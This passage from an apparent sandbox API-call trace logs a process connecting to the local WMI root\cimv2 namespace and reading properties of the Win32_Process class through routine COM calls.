WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf3de80, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1bf3dea0) returned 0x0 [0064.419] WbemLocator:IUnknown:Release (This=0x1bf3de80) returned 0x0 [0064.419] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3dea0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1bf3dea0) returned 0x0 [0064.419] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3dea0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0064.420] WbemLocator:IUnknown:AddRef (This=0x1bf3dea0) returned 0x3 [0064.420] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3dea0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0064.420] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3dea0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0064.420] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3dea0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0064.420] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0064.420] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0064.420] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3dea0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0064.420] WbemLocator:IUnknown:Release (This=0x1bf3dea0) returned 0x2 [0064.420] WbemLocator:IUnknown:Release (This=0x1bf3dea0) returned 0x1 [0064.420] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0064.420] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0064.420] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3dea0, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf3dea0) returned 0x0 [0064.420] WbemLocator:IUnknown:AddRef (This=0x1bf3dea0) returned 0x3 [0064.420] WbemLocator:IUnknown:Release (This=0x1bf3dea0) returned 0x2 [0064.420] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ad40, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0064.420] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ad40, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0064.420] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ad40, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0064.421] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1bf3dec0) returned 0x0 [0064.421] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf3dec0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bf2a210) returned 0x0 [0064.464] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2a210, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11e0aa0) returned 0x0 [0064.464] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11e0aa0, pProxy=0x1bf2a210, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0064.464] WbemLocator:IUnknown:Release (This=0x11e0aa0) returned 0x1 [0064.464] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2a210, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11e0ae0) returned 0x0 [0064.464] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2a210, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11e0aa0) returned 0x0 [0064.464] WbemLocator:IClientSecurity:SetBlanket (This=0x11e0aa0, pProxy=0x1bf2a210, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0064.464] WbemLocator:IUnknown:Release (This=0x11e0aa0) returned 0x2 [0064.464] WbemLocator:IUnknown:Release (This=0x11e0ae0) returned 0x1 [0064.464] CoTaskMemFree (pv=0x1bf3cbc0) [0064.464] WbemLocator:IUnknown:AddRef (This=0x1bf2a210) returned 0x2 [0064.465] WbemLocator:IUnknown:Release (This=0x1bf3dec0) returned 0x0 [0064.465] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0064.465] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0064.465] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2a210, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11e0ab0) returned 0x0 [0064.465] WbemLocator:IRpcOptions:Query (in: This=0x11e0ab0, pPrx=0x1bf3df20, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0064.465] WbemLocator:IUnknown:Release (This=0x11e0ab0) returned 0x2 [0064.465] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0064.465] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0064.465] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2a210, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bf2a210) returned 0x0 [0064.465] WbemLocator:IUnknown:Release (This=0x1bf2a210) returned 0x2 [0064.466] SysStringLen (param_1=0x0) returned 0x0 [0064.466] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ad40, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0064.466] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ad40, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0064.466] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ad40, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0064.466] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aa40, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0064.466] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aa40, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0064.466] IWbemServices:GetObject (in: This=0x1bf2a210, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1bf442c0, ppCallResult=0x0) returned 0x0 [0064.482] IWbemClassObject:Get (in: This=0x1bf442c0, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0064.482] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0064.483] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0064.483] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0064.483] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0064.483] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0064.483] IUnknown:Release (This=0x111f638) returned 0x1 [0064.486] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1bf3dec0) returned 0x0 [0064.486] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3dec0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0064.486] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3dec0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bf3ae00) returned 0x0 [0064.486] WbemDefPath:IUnknown:Release (This=0x1bf3dec0) returned 0x0 [0064.486] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ae00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bf3ae00) returned 0x0 [0064.486] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ae00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0064.486] WbemDefPath:IUnknown:AddRef (This=0x1bf3ae00) returned 0x3 [0064.486] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ae00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0064.486] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ae00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0064.487] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ae00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1bf3dee0) returned 0x0 [0064.487] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf3dee0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0064.487] WbemDefPath:IUnknown:Release (This=0x1bf3dee0) returned 0x3 [0064.487] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0064.487] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0064.487] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ae00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0064.487] WbemDefPath:IUnknown:Release (This=0x1bf3ae00) returned 0x2 [0064.487] WbemDefPath:IUnknown:Release (This=0x1bf3ae00) returned 0x1 [0064.487] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0064.487] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0064.487] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ae00, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf3ae00) returned 0x0 [0064.487] WbemDefPath:IUnknown:AddRef (This=0x1bf3ae00) returned 0x3 [0064.487] WbemDefPath:IUnknown:Release (This=0x1bf3ae00) returned 0x2 [0064.487] WbemDefPath:IWbemPath:SetText (This=0x1bf3ae00, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0064.487] IWbemClassObject:Get (in: This=0x1bf442c0, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0064.487] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0064.488] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0064.488] IWbemClassObject:Get (in: This=0x1bf442c0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0064.488] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0064.488] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0064.488] IWbemClassObject:Get (in: This=0x1bf442c0, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0064.488] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0064.488] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0064.488] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0064.488] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0064.488] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0064.488] IUnknown:Release (This=0x111f638) returned 0x1 [0064.490] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf3e080) returned 0x0 [0064.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3e080, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0064.490] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3e080, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3aec0) returned 0x0 [0064.490] WbemDefPath:IUnknown:Release (This=0x1bf3e080) returned 0x0 [0064.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aec0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3aec0) returned 0x0 [0064.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aec0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0064.491] WbemDefPath:IUnknown:AddRef (This=0x1bf3aec0) returned 0x3 [0064.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aec0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0064.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aec0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0064.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aec0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf3e0c0) returned 0x0 [0064.491] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf3e0c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0064.491] WbemDefPath:IUnknown:Release (This=0x1bf3e0c0) returned 0x3 [0064.491] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0064.491] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0064.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aec0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0064.492] WbemDefPath:IUnknown:Release (This=0x1bf3aec0) returned 0x2 [0064.492] WbemDefPath:IUnknown:Release (This=0x1bf3aec0) returned 0x1 [0064.492] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0064.492] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0064.492] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aec0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3aec0) returned 0x0 [0064.492] WbemDefPath:IUnknown:AddRef (This=0x1bf3aec0) returned 0x3 [0064.492] WbemDefPath:IUnknown:Release (This=0x1bf3aec0) returned 0x2 [0064.492] WbemDefPath:IWbemPath:SetText (This=0x1bf3aec0, uMode=0x4, pszPath="") returned 0x0 [0064.492] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0064.492] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0064.492] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0064.492] IUnknown:Release (This=0x111f638) returned 0x1 [0064.494] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, 